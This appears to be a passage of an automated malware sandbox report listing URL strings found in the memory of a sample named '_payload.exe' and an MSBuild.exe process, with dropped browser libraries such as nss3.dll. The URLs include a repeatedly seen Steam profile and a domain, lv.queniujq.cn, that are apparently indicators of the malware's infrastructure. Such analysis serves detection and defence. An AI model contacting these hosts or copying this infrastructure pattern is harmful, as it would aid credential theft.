Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032B3000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021825975.00000000032FF000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, CGDHIE.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1864612116.0000000003332000.00000004.00000020.00020000.00000000.sdmp, AAKEGI.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://help.steampowered.com/en/
Source: CGDHIE.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2188073732.00000000358C9000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2193997292.00000000417A2000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2200231222.000000004D676000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2185251178.000000002F952000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1994902601.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1896695804.00000000032E8000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, freebl3.dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1717876707.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1714614994.0000000003241000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.00000000012C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/discussions/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199747278259
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/market/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/my/wishlist/
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259
Source: MSBuild.exe, 00000006.00000002.2344932078.0000000001308000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259%
Source: a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1784599194.0000000003241000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745266129.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174020167.0000000000408000.00000004.00000001.01000000.00000003.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1745302005.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731818479.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1716174518.0000000003235000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771473480.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.2021713393.000000000325C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758386144.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1771428576.000000000323C000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1731884032.000000000323E000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000003.1758422483.000000000323F000.00000004.00000020.00020000.00000000.sdmp, a8fb80b6e9d920c26922b29171e8301d5d4d9d4f20cd1b07cad94234b27c61be_payload.exe, 00000000.00000002.2174954399.0000000003237000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2344932078.0000000001351000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000006.00000002.2343148482.0000000000438000.00000040.00000400.00020000.00000000.sdmp, 76561199747278259[1].htm.6.dr, 76561199747278259[1].htm.0.dr	String found in binary or memory: https://steamcommunity.com/profiles/76561199747278259/badges
